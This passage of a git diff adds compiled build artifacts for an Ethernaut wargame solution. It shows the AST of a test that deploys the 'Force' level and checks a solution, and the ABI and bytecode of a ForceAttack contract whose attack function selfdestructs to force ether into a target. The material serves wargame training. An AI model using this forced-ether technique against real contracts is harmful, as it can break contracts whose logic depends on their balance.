ForceFactory"}}},"id":61087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1032:18:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}},"nodeType":"VariableDeclarationStatement","src":"1009:41:131"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":61095,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61083,"src":"1098:7:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}],"id":61094,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1090:7:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61093,"name":"address","nodeType":"ElementaryTypeName","src":"1090:7:131","typeDescriptions":{}}},"id":61096,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1090:16:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61092,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1084:5:131","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1084:23:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":61089,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61026,"src":"1060:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61091,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1070:13:131","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1060:23:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":61098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1060:48:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61099,"nodeType":"ExpressionStatement","src":"1060:48:131"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61100,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1118:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61102,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1121:9:131","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1118:12:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1118:14:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61104,"nodeType":"ExpressionStatement","src":"1118:14:131"},{"expression":{"arguments":[{"id":61108,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61033,"src":"1157:6:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61105,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1143:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61107,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1146:10:131","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1143:13:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1143:21:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61110,"nodeType":"ExpressionStatement","src":"1143:21:131"},{"expression":{"id":61127,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61111,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61029,"src":"1174:8:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":61116,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61026,"src":"1219:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":61120,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61083,"src":"1244:7:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}],"id":61119,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1236:7:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61118,"name":"address","nodeType":"ElementaryTypeName","src":"1236:7:131","typeDescriptions":{}}},"id":61121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1236:16:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61117,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1230:5:131","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1230:23:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":61123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1255:1:131","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":61115,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1199:19:131","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":61124,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1199:58:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61114,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1191:8:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":61113,"name":"address","nodeType":"ElementaryTypeName","src":"1191:8:131","stateMutability":"payable","typeDescriptions":{}}},"id":61125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1191:67:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61112,"name":"Force","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52437,"src":"1185:5:131","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Force_$52437_$","typeString":"type(contract Force)"}},"id":61126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1185:74:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"src":"1174:85:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"id":61128,"nodeType":"ExpressionStatement","src":"1174:85:131"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61129,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1269:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61131,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1272:9:131","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1269:12:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1269:14:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61133,"nodeType":"ExpressionStatement","src":"1269:14:131"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"716:5:131","parameters":{"id":61034,"nodeType":"ParameterList","parameters":[],"src":"721:2:131"},"returnParameters":{"id":61035,"nodeType":"ParameterList","parameters":[],"src":"731:0:131"},"scope":61200,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61156,"nodeType":"FunctionDefinition","src":"1542:137:131","nodes":[],"body":{"id":61155,"nodeType":"Block","src":"1569:110:131","nodes":[],"statements":[{"expression":{"arguments":[{"id":61142,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61033,"src":"1593:6:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61139,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1579:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61141,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1582:10:131","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1579:13:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1579:21:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61144,"nodeType":"ExpressionStatement","src":"1579:21:131"},{"expression":{"arguments":[{"arguments":[{"id":61147,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61026,"src":"1642:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61150,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61029,"src":"1661:8:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}],"id":61149,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1653:7:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61148,"name":"address","nodeType":"ElementaryTypeName","src":"1653:7:131","typeDescriptions":{}}},"id":61151,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1653:17:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61146,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1622:19:131","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61152,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1622:49:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61145,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1610:11:131","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61153,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1610:62:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61154,"nodeType":"ExpressionStatement","src":"1610:62:131"}]},"documentation":{"id":61136,"nodeType":"StructuredDocumentation","src":"1474:63:131","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1551:8:131","parameters":{"id":61137,"nodeType":"ParameterList","parameters":[],"src":"1559:2:131"},"returnParameters":{"id":61138,"nodeType":"ParameterList","parameters":[],"src":"1569:0:131"},"scope":61200,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61199,"nodeType":"FunctionDefinition","src":"1734:252:131","nodes":[],"body":{"id":61198,"nodeType":"Block","src":"1762:224:131","nodes":[],"statements":[{"expression":{"arguments":[{"id":61163,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61033,"src":"1786:6:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61160,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1772:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61162,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1775:10:131","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1772:13:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61164,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1772:21:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61165,"nodeType":"ExpressionStatement","src":"1772:21:131"},{"assignments":[61168],"declarations":[{"constant":false,"id":61168,"mutability":"mutable","name":"attacker","nameLocation":"1816:8:131","nodeType":"VariableDeclaration","scope":61198,"src":"1804:20:131","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ForceAttack_$49337","typeString":"contract ForceAttack"},"typeName":{"id":61167,"nodeType":"UserDefinedTypeName","pathNode":{"id":61166,"name":"ForceAttack","nameLocations":["1804:11:131"],"nodeType":"IdentifierPath","referencedDeclaration":49337,"src":"1804:11:131"},"referencedDeclaration":49337,"src":"1804:11:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceAttack_$49337","typeString":"contract ForceAttack"}},"visibility":"internal"}],"id":61175,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":[],"id":61171,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1827:15:131","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$__$returns$_t_contract$_ForceAttack_$49337_$","typeString":"function () payable returns (contract ForceAttack)"},"typeName":{"id":61170,"nodeType":"UserDefinedTypeName","pathNode":{"id":61169,"name":"ForceAttack","nameLocations":["1831:11:131"],"nodeType":"IdentifierPath","referencedDeclaration":49337,"src":"1831:11:131"},"referencedDeclaration":49337,"src":"1831:11:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceAttack_$49337","typeString":"contract ForceAttack"}}},"id":61173,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":61172,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1850:1:131","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"1827:25:131","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$__$returns$_t_contract$_ForceAttack_$49337_$value","typeString":"function () payable returns (contract ForceAttack)"}},"id":61174,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1827:27:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ForceAttack_$49337","typeString":"contract ForceAttack"}},"nodeType":"VariableDeclarationStatement","src":"1804:50:131"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":61183,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61029,"src":"1896:8:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}],"id":61182,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1888:7:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61181,"name":"address","nodeType":"ElementaryTypeName","src":"1888:7:131","typeDescriptions":{}}},"id":61184,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1888:17:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61180,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1880:8:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":61179,"name":"address","nodeType":"ElementaryTypeName","src":"1880:8:131","stateMutability":"payable","typeDescriptions":{}}},"id":61185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1880:26:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61176,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61168,"src":"1864:8:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceAttack_$49337","typeString":"contract ForceAttack"}},"id":61178,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1873:6:131","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49336,"src":"1864:15:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":61186,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1864:43:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61187,"nodeType":"ExpressionStatement","src":"1864:43:131"},{"expression":{"arguments":[{"arguments":[{"id":61190,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61026,"src":"1949:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61193,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61029,"src":"1968:8:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}],"id":61192,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1960:7:131","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61191,"name":"address","nodeType":"ElementaryTypeName","src":"1960:7:131","typeDescriptions":{}}},"id":61194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1960:17:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61189,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1929:19:131","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1929:49:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61188,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1918:10:131","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61196,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1918:61:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61197,"nodeType":"ExpressionStatement","src":"1918:61:131"}]},"documentation":{"id":61157,"nodeType":"StructuredDocumentation","src":"1685:44:131","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1743:9:131","parameters":{"id":61158,"nodeType":"ParameterList","parameters":[],"src":"1752:2:131"},"returnParameters":{"id":61159,"nodeType":"ParameterList","parameters":[],"src":"1762:0:131"},"scope":61200,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":61020,"name":"Test","nameLocations":["407:4:131"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"407:4:131"},"id":61021,"nodeType":"InheritanceSpecifier","src":"407:4:131"},{"baseName":{"id":61022,"name":"Utils","nameLocations":["413:5:131"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"413:5:131"},"id":61023,"nodeType":"InheritanceSpecifier","src":"413:5:131"}],"canonicalName":"TestForce","contractDependencies":[49101,49337,52491,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61200,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestForce","nameLocation":"394:9:131","scope":61201,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":131} \ No newline at end of file diff --git a/contracts/out/ForceAttack.sol/ForceAttack.json b/contracts/out/ForceAttack.sol/ForceAttack.json new file mode 100644 index 000000000..54e1f4d36 --- /dev/null +++ b/contracts/out/ForceAttack.sol/ForceAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"attack","inputs":[{"name":"target","type":"address","internalType":"address payable"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405260cb806100105f395ff3fe608060405260043610601e575f3560e01c8063d018db3e146028575f80fd5b36602457005b5f80fd5b3480156032575f80fd5b506042603e366004605d565b6044565b005b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f60208284031215606c575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114608e575f80fd5b939250505056fea26469706673582212207cce0460ddd4d0b2b85c764928af587d5cc26cf5d939c1e9048f68b0ff624b9064736f6c63430008180033","sourceMap":"58:177:44:-:0;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610601e575f3560e01c8063d018db3e146028575f80fd5b36602457005b5f80fd5b3480156032575f80fd5b506042603e366004605d565b6044565b005b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f60208284031215606c575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114608e575f80fd5b939250505056fea26469706673582212207cce0460ddd4d0b2b85c764928af587d5cc26cf5d939c1e9048f68b0ff624b9064736f6c63430008180033","sourceMap":"58:177:44:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;149:84;;;;;;;;;;-1:-1:-1;149:84:44;;;;;:::i;:::-;;:::i;:::-;;;219:6;206:20;;;14:317:155;81:6;134:2;122:9;113:7;109:23;105:32;102:52;;;150:1;147;140:12;102:52;189:9;176:23;239:42;232:5;228:54;221:5;218:65;208:93;;297:1;294;287:12;208:93;320:5;14:317;-1:-1:-1;;;14:317:155:o","linkReferences":{}},"methodIdentifiers":{"attack(address)":"d018db3e"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"target\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/ForceAttack.sol\":\"ForceAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/ForceAttack.sol\":{\"keccak256\":\"0x876555a235e3069328511570b55ae5d2da411e67979faec9b436170fefc24a44\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a63ecc91aa3a386e1119b4aff97940fed0b704a301b1077743fd92c89882a43d\",\"dweb:/ipfs/QmafZVLt3pWfCx6EHVZmU6MGNdZUVmrxihVt9bB5dpJQXx\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address 